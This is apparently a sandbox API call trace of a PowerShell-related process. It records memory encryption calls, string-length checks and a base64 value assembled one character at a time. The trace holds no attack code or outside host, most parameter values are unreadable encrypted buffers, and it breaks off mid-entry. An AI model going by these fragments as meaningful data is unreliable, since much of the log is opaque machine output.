(param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\x642a\x3ac\xe19a\xaf9c\xa8b9\xf6a9\x64de\x497d") returned 0x30 [0134.322] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.322] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPIPC5A끆꯸㰅⻔ძ㤎") returned 0x30 [0134.322] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.323] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\xa93b\x6d05\xf6be\x883d\xd52d\x42e\x5920\xf41f") returned 0x30 [0134.323] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\xa93b\x6d05\xf6be\x883d\xd52d\x42e\x5920\xf41f") returned 0x30 [0134.323] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.323] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPIPC5AY꯸㰅⻔ძ㤎") returned 0x30 [0134.323] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.323] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\x3045\x74f8\xc46d\x5dd3\x2c00\x4edd\xae23\x96a9") returned 0x30 [0134.323] SysStringLen (param_1="\x5b16\xd924\x7076\xedd\xa14e\x4499\xc68c\x9468\x3022\xfc4f\x9d8\x81ac\x3fc1\x20f1\x149\x4d7\x3040\x3a3b\x14eb\x366b\x70fe\xb551\x724a\xf298\x7c67\xcb9d\x687f\x1a05\x97bb\x695a\x1d8b\xae76\xddb8\xf62a\xc30e\xaafe\xf8c5\x3a41\x5510\x9dd\x3045\x74f8\xc46d\x5dd3\x2c00\x4edd\xae23\x96a9") returned 0x30 [0134.323] SystemFunction041 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.323] SysStringLen (param_1="h1tOBrzBEHbloe+DtE1oW7LtpzZDHndpGe8HPIPC5AY=㰅⻔ძ㤎") returned 0x30 [0134.323] SystemFunction040 (in: Memory=0x8e30fbc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30fbc) returned 0x0 [0134.323] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.323] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.323] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.324] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0134.324] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.324] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.324] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.324] SysStringLen (param_1="") returned 0x8 [0134.324] SysStringLen (param_1="Y") returned 0x8 [0134.324] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.325] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.325] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="YW") returned 0x8 [0134.325] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.325] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.325] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="YWM") returned 0x8 [0134.325] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.325] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.325] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="YWM1") returned 0x8 [0134.325] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.325] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.326] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.326] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.326] SysStringLen (param_1="YWM1O") returned 0x8 [0134.326] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.326] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.326] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.326] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.326] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.326] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.326] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.326] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.326] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.326] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.326] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.326] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.326] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.326] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.327] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.327] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.327] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.327] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.327] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.327] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.327] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.327] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.327] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.327] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.327] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.327] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.327] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.328] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.328] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.328] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.328] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.328] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.328] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.328] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.328] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.328] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.328] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.328] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.329] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.329] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.329] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.329] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.329] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.329] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.329] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.329] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.329] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.330] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.330] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.330] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.330] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.330] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.330] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.330] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.330] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.330] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.330] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.330] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.331] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.331] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.331] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.331] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.331] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.331] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.331] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.331] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.332] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.332] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.332] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.332] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.332] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.332] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.332] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.332] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.333] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.333] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.333] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.333] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.333] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.333] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.333] SysStringLen 